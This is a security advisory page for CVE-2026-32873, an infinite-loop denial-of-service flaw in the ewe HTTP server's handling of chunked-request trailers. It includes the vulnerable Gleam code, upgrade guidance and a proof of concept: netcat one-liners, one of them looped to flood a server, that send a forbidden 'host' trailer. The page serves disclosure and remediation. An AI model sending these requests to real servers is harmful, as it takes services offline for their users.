Skip to content

GHSA-4w98-xf39-23gp CVE-2026-32873

Loop with Unreachable Exit Condition ('Infinite Loop') in ewe

High Hex
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.61%
Chance of exploitation in the next 30 days. Higher than 49.19% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-825 Expired Pointer Dereference
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
Fix
3.0.5
Upgrade ewe to this version or later

Description

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}

Affected versions

Hex

PackageVulnerableFixed in
ewe
>= 0.8.0, < 3.0.5
3.0.5

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ewe Hex → 3.0.5

mix
{:ewe, "~> 3.0.5"} # then: mix deps.update ewe

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-825: Expired Pointer Dereference

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

How to prevent it
  • Architecture and Design: Choose a language that provides automatic memory management.
  • Implementation: When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-x2w3-23jr-hrpf
ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)
Medium Also affects ewe
GHSA-9w88-79f8-m3vp
Permissive List of Allowed Inputs in ewe
Medium Also affects ewe
GHSA-phwj-rprq-35pp
Nokogiri: Possible Use-After-Free when setting an attribute value via `Nokogiri::XML::Attr#value=` or `#content=`
High Same weakness, CWE-825
GHSA-5r4x-w6p5-222q
ImageMagick: Use-After-Free in MSL decoder.
Medium Same weakness, CWE-825
GHSA-532v-xpq5-8h95
Electron: Use-after-free in offscreen child window paint callback
High Same weakness, CWE-825
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor